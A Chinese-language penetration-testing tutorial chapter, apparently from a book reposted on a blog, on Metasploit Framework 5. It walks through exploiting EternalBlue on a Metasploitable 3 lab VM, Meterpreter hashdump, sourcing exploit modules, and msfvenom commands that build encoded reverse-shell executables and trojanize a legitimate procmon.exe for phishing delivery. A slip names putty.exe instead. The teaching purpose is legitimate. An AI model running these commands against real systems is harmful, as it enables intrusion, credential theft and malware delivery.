在本章中,我们将探索 Metasploit Framework 的模块化和灵活性。由于定期开发新的利用并将其添加到 Metasploit 已经庞大的数据库中,您将学习如何查找和导入这些利用。我们将探索各种有效载荷的选项以及各种 shell 之间的区别。通过使用已经存在的利用,而不是编写自己的利用,可以提高您在 Metasploit 中的技能,使渗透测试变得简单。

随着本章的进行,您将学习以下内容:

  • 介绍 Metasploit

  • 查找模块

  • 添加模块

  • Metasploit 选项 shell 和有效载荷

  • 使用 MSFvenom

技术要求

本章需要以下技术要求:

  • Kali Linux 2019.1

  • Metasploit Framework 版本 5

  • Metasploitable 3 虚拟机

介绍 Metasploit

Metasploit 被归类为世界上使用最广泛的渗透测试软件。它是一个渗透平台,使您能够通过查找、利用和验证漏洞来处理漏洞。它由 Rapid7 维护,并分为两个版本,Metasploit Pro 和社区版称为 Metasploit Framework。当然,Pro 版中有更多的功能,但不容忽视的是社区版中可用的功能。Metasploit Framework 中包含的功能将为您提供足够的知识,以了解如何使用 Metasploit Framework 以及通过利用它在渗透测试中可以实现什么。

Metasploit 的架构是灵活和模块化的,这有助于开发人员在漏洞被公布时创建可工作的利用。Metasploit 的界面直观,并提供了一种运行被安全社区信任的利用代码的方式。与尝试编写自己的利用相比,使用 Metasploit 可以节省您在渗透测试中的时间。正如您在第一章中学到的,渗透测试简介,渗透测试是有时间限制的。因此,花时间编写自己的利用可能会浪费宝贵的时间,这些时间可以用于其他任务。

并非所有的利用都会按设计工作;有些可能会带来更多的危害。在使用互联网上可用的利用时,保持警惕是很重要的。

在 Kali Linux 2019.1 中,Metasploit Framework 的版本是 5。版本 5 引入了一些新功能,例如以下内容:

  • 支持 Go、Python 和 Ruby 语言的模块

  • 新数据库和自动化 API

  • 新的逃避模块和库

  • exploit模块中使用file://选项的多个主机功能

您可以在 Rapid7 的帖子中阅读完整的发布说明:blog.rapid7.com/2019/01/10/metasploit-framework-5-0-released/

在 Metasploit Framework 中存在几种类型的模块,如下所定义:

  • 利用模块:使用利用模块,在目标上执行一系列命令,利用特定的漏洞。通常,这种技术使用已经被发现并公开发布的漏洞来获取对目标的访问权限。利用模块的示例包括代码注入缓冲区溢出和网络上的利用。

  • 辅助模块辅助模块中没有有效载荷。相反,使用与利用不直接相关的随机措施。例如,辅助模块可以执行用户或共享的枚举扫描。模糊器服务器捕获模块是辅助模块的其他示例。

  • 后渗透模块:后渗透模块允许您收集额外信息或提升对目标系统的访问权限。这些模块的一些示例包括哈希转储(我们将在第六章*,理解密码攻击*中介绍)和服务应用程序枚举器

  • 有效载荷:有效载荷是在成功攻击系统后执行的 shellcode。有效载荷的目的是定义您希望如何连接到目标系统 shell 以及在获得控制后要执行的操作。例如,您可以打开一个 Meterpreter 会话。Meterpreter 是一个具有内存中 DLL 注入的高级有效载荷,因此它永远不会触及磁盘。

  • NOP 生成器:使用 NOP 生成器,您可以创建一个随机字节范围,允许您绕过标准入侵检测和预防设备中的 NOP 滑坡签名。

让我们从一些初始配置步骤开始使用 Metasploit 框架。在 Kali Linux 中的终端窗口中使用命令启动 Metasploit 框架:msfconsole.

更新 Metasploit 框架

过去,更新 Metasploit 框架需要在启动应用程序后运行msfupdate命令。现在 Metasploit 框架默认包含在 Kali Linux 中,您可以通过运行以下命令来更新它:

apt update && apt install metasploit-framework

这将安装最新版本的 Metasploit 框架。

将 Metasploit 框架链接到数据库

Metasploit 提供对支持 PostgreSQL 的后端数据库的支持。

如果您只想运行 Metasploit 框架而不需要数据库,那么您不需要数据库,但如果您想查看您收集的数据,那么创建数据库将非常有用。创建数据库使用以下步骤完成:

  1. 首先,您需要使用 Kali Linux 中的终端窗口使用service PostgreSQL start命令启动 PostgreSQL 服务。

  2. 一旦服务启动,我们需要定义将连接到我们将创建的数据库的 Metasploit 用户名和密码。为了为数据库创建用户名和密码,我们需要迁移到 PostgreSQL 用户。这是使用su postgres命令完成的。您会注意到您的提示现在变成了postgres@kali:~#。现在,我们将使用createuser [name] -P命令创建一个用户。按照提示并定义一个密码。在我的设置中,我使用了msf_user用户名,如下面的截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 1:为 PostgreSQL 数据库创建用户

  1. 现在,我们使用created --owner=[name] [database]命令创建数据库。在我的设置中,我使用了msf_user用户名,并且数据库名为msf_database,如下面的截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 2:创建数据库并将用户链接到数据库

  1. 接下来,我们将使用msfconsole命令打开 Metasploit 框架。一切加载完成后,我们将使用以下命令连接到刚刚创建的数据库:
 db_connect [username]:[password]@127.0.0.1/[database name] 

例如,我们可以使用db_connect msf_user:password@127.0.0.1/msf_database,如下面的截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 3:连接到刚刚创建的数据库

  1. 为了使 Metasploit 自动连接到数据库,我们需要编辑位于/usr/share/metasploit-framework/config/database.yml文件,如下面的截图所示*.*

在编辑database.yml文件之前,请确保退出 Metasploit 框架。

如果您没有该文件,可以修改示例文件并添加您创建的数据库的详细信息以及用户登录详细信息。将文件保存为database.yml

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 4:修改 database.yml 文件

  1. 文件修改后,可以再次启动 Metasploit Framework,并使用db_status命令检查数据库连接。如果一切正常,您将看到一条消息显示 Metasploit 连接到哪个数据库,如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 5:在 Metasploit Framework 中检查数据库连接

如果在运行 Metasploit Framework 之前未启动 PostgreSQL 服务,则在打开 Metasploit Framework 时,您将收到数据库连接错误。

数据库允许您存储诸如主机数据和利用结果之类的信息。让 Metasploit 将数据存储在数据库中使您能够在将来参考结果。

增强您在 Metasploit 中的体验

使用 Metasploit 的workspaces功能使您能够在执行渗透测试时组织您的动作。例如,如果您正在针对不同部门执行各种任务,您可以为每个部门创建一个workspace,如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 6:创建和删除工作空间

创建workspace的命令是workspace -a [name],要删除它,我们使用workspace -d [name]**。**要在工作空间之间切换,可以使用workspace [name]命令。请注意,您可以在一行内使用空格分隔名称来定义多个工作空间。

Metasploit 使您能够导入诸如 Nmap 或 Nessus 运行的扫描之类的扫描。在第三章中,执行信息收集,您可能已将 Metasploitable 3 的 Nmap 扫描导出到.xml文件。为了将其导入 Metasploit Framework,您可以使用db_import [文件路径]命令,如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 7:导入 Nmap 扫描

要将 Nmap 导出的 XML 文件转换为 HTML,您可以利用此命令:xsltproc <nmap-output.xml> -o <nmap-output.html>

Metasploit 具有一个 Nessus 桥,可以让您连接到 Nessus 数据库并直接将扫描导入 Metasploit。让我们使用在第三章中执行的扫描进行导入,执行信息收集:

  1. 从终端窗口,使用msfconsole命令打开 Metasploit Framework。框架加载后,我们将使用load nessus命令加载 Nessus 桥插件。接下来,您需要连接到您的 Nessus 数据库。确保 Nessus 服务正在运行,然后使用nessus_connect username:password@IP命令进行连接,如下截图所示。在我的设置中,我将数据库本地化在 Kali 上,因此我使用回环地址127.0.0.1

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 8:在 Metasploit Framework 中连接到 Nessus 数据库

  1. 连接到 Nessus 数据库后,您可以通过输入nessus_scan_list命令查看扫描列表,如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 9:查看 Nessus 扫描列表

  1. 使用nessus_db_import scanid命令将扫描导入 Metasploit Framework,如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 10:导入 Nessus 扫描

导入扫描后,您现在可以查看漏洞列表并进行搜索,以找出 Metasploit 覆盖的哪些漏洞。

使用hosts -c address命令,vulns会给我们列出每个主机的漏洞列表,使用vulns命令将显示漏洞的完整列表和具有这些漏洞的主机的 IP 地址。您会注意到,在下面的屏幕截图中,Metasploitable 3 虚拟机有许多漏洞,这些漏洞是从 Nessus 导入的:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 11:Nessus 发现的漏洞显示

现在,我们可以针对 Nessus 数据库导入搜索特定漏洞。例如,使用vulns -S eternalblue命令,我们可以搜索一个众所周知的漏洞,如下面的屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 12:在 Nessus 扫描中搜索漏洞

请注意,输出显示了主机的 IP 地址和与搜索查询相关的漏洞。

使用 Metasploit 对远程目标进行利用

现在我们已经从 Nessus 导入了数据,并且了解了如何使用 Metasploit Framework 中的功能,让我们对 Metasploitable 3 虚拟机进行漏洞利用。

我们将使用ms17_010_eternalblue漏洞。我们已经确定 Metasploitable 3 虚拟机对此漏洞存在漏洞:

  1. 使用msfconsole命令从终端窗口打开 Metasploit Framework。

  2. 加载 Metasploit Framework 后,使用use exploit/windows/smb/ms17_010_eternalblue命令并按Enter

  3. 使用set RHOSTS [IP]命令定义目标(即您的 Metasploitable 3 虚拟机的 IP 地址)。

  4. 我们将使用 Meterpreter 有效载荷,因为这将在本章后面使用。使用set payload``windows/x64/meterpreter/reverse_tcp命令定义有效载荷。注意所有的设置选项,如下面的屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 13:定义的漏洞利用选项

  1. 一旦您定义了选项,您可以使用exploit命令运行漏洞利用,如下面的屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 14:漏洞利用已成功完成

现在您已经建立了与 Metasploitable 3 虚拟机的远程会话。

您将在本章后面使用此会话。

查找模块

在对各种目标进行渗透测试时,您可能会遇到 Metasploit 没有可用的漏洞利用的情况。也许您还没有遇到这种情况,但是您希望保持 Metasploit 数据库的最新状态。在任何情况下,了解在哪里找到模块以及如何添加它们到 Metasploit 是一项有用的技能。有许多公共存储库可供下载模块。这些网站将是您寻找 Metasploit 模块的首要资源。

Exploit-DB

我们将首先看一下 Exploit Database(通常称为Exploit-DB)。您会从上一章(执行信息收集)中认识到 Exploit-DB,当时我们使用 Google dorks 进行工作。可以直接访问 Exploit-DB:www.exploit-db.com

网站有一个名为exploits的部分,您可以在其中找到由安全公司和个人发布的模块。该网站具有验证模块(V)、下载模块(D)和下载易受攻击应用程序(A)的功能(如果适用)。这在标题栏中显示为 D、A 和 V,如下面的屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 15:Exploit-DB 显示漏洞列表

请注意,模块跨越多个平台和类型。

Rapid7 漏洞数据库

Rapid7 是另一个公共资源,您可以在那里获取模块(图 16)。 此存储库可在www.rapid7.com/db/modules访问。

Rapid7 的漏洞利用数据库与 Exploit-DB 非常相似; 但是,它不包含诸如 Google Hacking Database 之类的其他功能:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 16:Rapid7 的漏洞利用数据库

Rapid7 还列出了漏洞,并将它们链接到相关的漏洞利用。 以下示例显示了 CVE-2019-8943 Wordpress 漏洞和漏洞利用链接:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 17:与漏洞利用相关的漏洞

单击漏洞利用后,您可以查看有关漏洞利用的完整详细信息以及其可用选项。

0day.today

0day.today 是另一个存储许多模块的仓库。 0day.today 的不同之处在于可以购买到一些可用的漏洞利用,如下面的屏幕截图所示。 一些付费的漏洞利用声称可以执行诸如 Snapchat 接管和 Facebook 群组窃取之类的活动。 还有其他可免费使用的漏洞利用:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 18:0day.today 漏洞利用数据库

0day.today 可在0day.today/访问。

添加模块

现在我们已经介绍了如何为 Metasploit Framework 查找模块,让我们深入了解如何添加模块。 我们将使用涵盖 Wordpress 5.0.0 的漏洞利用的模块 - Crop-image Shell Upload(Metasploit)。 此漏洞利用的直接链接为www.exploit-db.com/exploits/46662

在下载漏洞利用之前,我们将验证它当前是否存在于 Metasploit Framework 中。 为此,我们可以使用search命令(图 19)。 此命令允许您搜索特定模块:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 19:搜索与裁剪图像相关的模块

由于没有结果,我们将退出 Metasploit Framework 并下载模块以添加它。 使用前面的直接链接,您可以使用下载功能来下载实际的模块,如下面的屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 20:从 Exploit-DB 下载漏洞利用

Metasploit Framework 中的所有模块都位于/usr/share/metasploit-framework/modules中。由于这是一个exploit,与http相关,我已将其放置在/usr/share/metasploit-framework/modules/exploits/multi/http路径中,如下面的屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 21:下载的漏洞利用的位置

当您打开 Metasploit Framework 并执行搜索时,将显示新添加的exploit,如下面的屏幕截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 22:漏洞利用添加到 Metasploit 数据库

您还可以使用loadpath命令来加载新添加的模块,例如,loadpath /usr/share/metasploit-framework/modules

Metasploit 选项、shell 和有效载荷

当您选择不同的漏洞利用时,Metasploit 具有许多选项、shell 和有效载荷。

覆盖所有漏洞利用中的所有可能选项不在本书的范围内,但我将解释如何查找选项并讨论常用的选项。 了解各种 shell 和有效载荷选项非常重要。

选项

Metasploit Framework 中的不同模块使用不同的选项。 例如,登录扫描模块将包含选项,如userpass_filepass_fileuser_file。 在下面的屏幕截图中,您将注意到auxiliary/scanner/ssh/ssh_login模块的选项:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 23:SSH 登录扫描仪选项

要查看特定模块的选项,可以使用show options命令。要设置选项,您将使用set命令。您经常使用的最常见选项如下:

  • RHOST:这指的是您想要利用的远程主机。这告诉 Metasploit 您想要攻击哪个系统,因此这是一个必须定义的强制性字段。

  • RPORT:这定义了您想要攻击的远程端口。一些模块可能已经将此字段定义为利用的默认值。例如,使用ms17_010_eternalblue模块将会将 RPORT 值定义为445。您真正修改 RPORT 值的唯一时机是如果目标使用自定义端口,例如使用端口2222进行 SSH,而不是端口22

  • LHOST:这是您希望目标机器连接的 IP 地址。请记住您所在的位置;如果您正在穿越公共网络,那么您将需要定义您的公共 IP 并配置端口转发,以便来自目标机器的返回流量可以到达您的系统。不要配置诸如localhost0.0.0.0127.0.0.1之类的值,因为这将指示目标连接到自身。

  • LPORT:这是您系统上希望目标连接的本地端口。

Metasploit 非常直观,会为各个模块中存在的每个选项提供描述。您将在前面的截图中注意到这一点。

Shell

Metasploit 框架中存在两种类型的 shell,即绑定 shell反向 shell

绑定 shell在目标机器上打开一个新的服务,并需要您连接到它以获得 shell。这些 shell 的问题在于防火墙默认会阻止随机端口的连接,因此绑定 shell 不如反向 shell有效。

反向 shell将连接推送回攻击机器,而不是等待您连接。它要求首先在攻击机器上设置监听器,以便它可以监听来自目标机器的连接。一个常见的做法是在端口80443上设置监听器。这些端口分别与httphttps直接相关,并与日常网络流量相关联。阻止这些端口根本不可行,因此使它们成为反向 shell 连接的主要目标。

有效载荷

Metasploit 框架拥有大量的有效载荷,可用于各种场景。可以使用show payloads命令查看当前的有效载荷。运行此命令时,一些有效载荷将具有相同的名称,并且看起来好像执行相同的操作;但实际上是有区别的。例如,如果您查看windows/shell/reverse_tcpwindows/shell_reverse_tcp有效载荷,斜杠/告诉我们这是一个分阶段的有效载荷,下划线_告诉我们这是一个单一的有效载荷。

分阶段有效载荷是由两个主要组件组成的有效载荷。这些组件是一个小加载程序和最终阶段有效载荷。分阶段器负责拉取其余的分阶段有效载荷。看前面的例子,windows/shell/reverse_tcp将执行两个功能。首先,它将发送加载程序,一旦加载程序被执行,它将请求处理程序(攻击者)发送最终阶段有效载荷。完成后,您将获得一个 shell。示例见下图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 24:一个 Eternalblue 分阶段有效载荷

单一有效载荷是一种一次性有效载荷。此有效载荷包含加载程序和有效载荷。使用此类型的有效载荷时,加载程序和有效载荷将同时发送到目标。

Meterpreter是一个提供交互式 shell 的攻击载荷。在这个 shell 中,攻击者可以探索目标并执行代码。它是使用内存中的 DLL 注入部署的。这导致 Meterpreter 完全在内存中运行,不会触及目标的本地磁盘。Meterpreter 将自身注入到其他运行的进程中,使其取证痕迹非常小。它旨在规避其他载荷可能存在的缺点,比如可能触发警报,可能会提醒目标您的活动。

如果你考虑一个反向 shell,它的目的相对简单:获得一个 shell。这可能是你的首选,但对各种类型的载荷有很好的了解将有助于您选择最佳的选项进行渗透测试。例如,使用windows/meterpreter/reverse_tcp载荷是稳定的并且有效,但是使用windows/meterpreter/reverse_https是更强大的选择。为什么呢?windows/meterpreter/reverse_https载荷提供了更多功能,比如具有加密通道(使其更难以检测)。

Meterpreter 提供了远程控制文件系统的能力。使用这个功能,你可以上传文件到目标并下载文件。在下面的截图中,我正在使用 Meterpreter 中的上传功能来上传一个恶意版本的procmon.exegetwd命令用于显示目标系统上的当前工作目录。getlwd命令用于显示本地系统的工作目录。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 25:利用 Meterpreter 的上传功能

Meterpreter 有许多可以使用的后渗透模块。可以使用search post命令找到这些模块。在下面的截图中,我正在使用post模块,该模块列举了已登录的用户。请注意,它将保存结果在loot文件夹中,因此您可以在以后再次参考这些结果。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 26:在 Meterpreter 中使用后渗透模块

Meterpreter 的另一个特性是hashdump命令。该命令会转储系统的当前哈希值,您可以将其复制到文本文件中进行离线密码破解,如下面的截图所示。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 27:使用 hashdump 命令转储目标系统的当前哈希值

前面的哈希值是从 Metasploitable 3 虚拟机中转储出来的。请保留这些,因为您将在第六章中再次使用它们,理解密码攻击。我将它们保存为Meta3-hashes.txt

Meterpreter 有很多功能。在进行各种渗透测试时,您将在不同的场景中利用不同的功能。

使用 MSFvenom

在本章的前面,我们专注于使用 Metasploit Framework 来利用目标系统上的漏洞并控制它。使用 MSFvenom,您不是依赖系统中的漏洞,而是旨在利用所有组织中最常见的安全问题:用户。这是一个永远无法完全修补的漏洞。

MSFvenom 基本上用于构建 shellcode。Shellcode 可以定义为当运行时,创建一个反向远程 shell 返回给攻击者的代码。

将 shellcode 插入文件中,然后将该文件发送到目标。这可以通过钓鱼活动来完成,就像我们在《社交工程大师》[第四章]中学到的那样。一旦运行文件,您就可以远程访问目标计算机。现实世界的攻击者也利用这种技术。Shellcode 不仅限于文件,还可以插入软件中。这在您可能在移动设备应用商店中找到的恶意应用程序中很常见。远离钓鱼和软件,shellcode 还可以嵌入到被入侵的网站中。因此,当有人浏览网站时,恶意软件可以加载到他们的计算机上,从而使其受到威胁。

在早期版本的 Metasploit 中可以使用msfpayloadmsfencode命令构建 shellcode。这些服务现在已经与msfvenom实用程序合并并替换。如果你习惯了旧工具,msfvenom不是问题,因为几乎没有修改。

使用 MSFvenom 有一些优势:

  • 有一个单一的工具来生成跨平台的 shellcode。

  • 命令行选项是标准化的。

  • 创建 shellcode 的速度增加,使您能够使用应用程序作为模板。

要使用 MSFvenom,您需要在 Kali Linux 的终端窗口中输入msfvenom命令。该应用程序将向您呈现一系列可用选项。其中一些最重要的选项如下:

  • -p用于选择 Metasploit 有效载荷。有许多可用的有效载荷;这些支持 Windows、Linux、Mac 等。定义有效载荷的示例如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LOCAL IP> LPORT=<LOCAL PORT> -f exe -o shell.exe

在这个例子中,我们使用了windows/meterpreter/reverse_tcp有效载荷,定义了本地主机和 IP 地址。使用-f选项定义输出格式为.exe,使用-o选项将输出文件保存为shell.exe

  • -e用于选择编码器。编码器是一种算法,可用于重新编码有效载荷。这用于混淆有效载荷的意图。您可以使用msfvenom -l encoders命令找到编码器列表。使用编码器的示例如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LOCAL IP> LPORT=<LOCAL PORT> -e x86/shikata_ga_nai -i 3 -f exe -o payload.exe

在这个例子中,选择的编码器是shikata_ga_nai,定义的迭代次数是3,使用了-i选项。

  • -x用于定义要用作模板的自定义可执行文件。使用此选项,您可以获取合法文件并创建其恶意版本,从而获得远程 shell。使用示例如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LOCAL IP> LPORT=<LOCAL PORT> -x procmon.exe -f exe -o evilprocmon.exe

在这个例子中,putty.exe被用作模板,创建了一个恶意版本的evilputty.exe

总结

在本章中,我们看了一下 Metasploit 框架。我们定义了它可以用来做什么,并探讨了包括的各种类型的模块。我们完成了一些 Metasploit 的初始任务,并看了我们可以获取新模块的地方。利用 Metasploit 的灵活性,我们从其他来源(如 Nmap 和 Nessus)导入了数据,并探索了 Metasploit 的核心组件。最后,我们看了如何在创建 shellcode 时使用 MSFvenom。

您现在可以执行 Metasploit 框架的初始配置。您已经学会了执行一些初始设置任务,如更新 Metasploit 框架并将其链接到数据库。您已经学会了如何通过使用工作区和从 Nmap 和 Nessus 等工具导入数据来增强在 Metasploit 框架中的体验。您已经学会了在哪里获取新模块以及如何安装它们。您已经了解了 Metasploit 的主要选项以及 shell 和有效载荷之间的区别。最后,在本章中,您已经学会了如何使用 MSFvenom 利用 shellcode。

在下一章(第六章,理解密码攻击)中,我们将探讨各种类型的密码攻击以及从哪里获取密码列表。我们将利用 Kali Linux 内置工具进行一些密码破解和凭据转储。

问题

  1. Metasploit Framework 版本 5 中引入的一个关键特性是什么?

  2. 至少列举三个存在于 Metasploit Framework 中的模块。

  3. 列举两个可以导入 Metasploit Framework 的外部数据源。

  4. 至少列举两个可以下载额外模块的公共存储库。

  5. 绑定 shell 和反向 shell 之间有什么区别?

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值